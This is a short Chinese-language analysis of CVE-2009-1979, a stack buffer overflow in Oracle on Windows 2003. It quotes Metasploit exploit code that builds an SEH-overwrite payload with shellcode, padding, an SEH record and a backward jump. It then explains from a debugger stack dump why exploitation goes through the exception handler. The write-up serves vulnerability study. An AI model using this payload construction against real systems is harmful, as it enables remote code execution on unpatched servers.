CVE-2009-1979
Step
渗透利用代码改动
# System: Windows 2003 en; # Line: 215; # https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/ sploit = payload.encoded sploit << rand_text_alphanumeric(0x19a - 0x17e + 0x10) sploit << generate_seh_record(mytarget.ret) distance = payload_space + 8 + 5 + 0x20 sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # Line: 221 # ensure bad ptr is derefed value = rand(0x3fffffff) | 0xc0000000 sploit[0x17e + 0x10,4] = [value].pack('V')
二进制分析
_intelfastmemcpy:
CPU Stack Address Value Comments 09A1D03C 01010ED2 ; RETURN from ORACLE.02610928 to ORACLE.01010ED2 09A1D040 09A1DA96 09A1D044 08D199A4 09A1D048 000001B7 09A1D04C 09E38F40 09A1D050 09A1D06C 09A1D054 0043ACD8 ; RETURN from ORACLE.0046AFD4 to ORACLE.0043ACD8 ...
当前函数的返回地址为 [0x09A1D03C]=0x01010ED2 ,之后是其他一些函数的返回地址,而字符串复制目的地址是 0x09A1DA96 ,由于栈的增长方向是从高地址向低地址,所以覆盖字符串地址远低于这些函数的返回地址所在位置,而更靠近栈底。所以无法通过覆盖当前函数的返回地址来利用该漏洞。
利用此漏洞时,复制字符串不但覆盖了第一个异常处理结构的异常处理函数,还覆盖了程序使用的一些局部变量,导致后面内存访问读取的是未分配的内存而出现异常,以此触发异常处理程序执行。
221 行的代码是为了确保异常必然触发, sploit
这 4 字节的值覆盖 [local.11]+8 处的内存。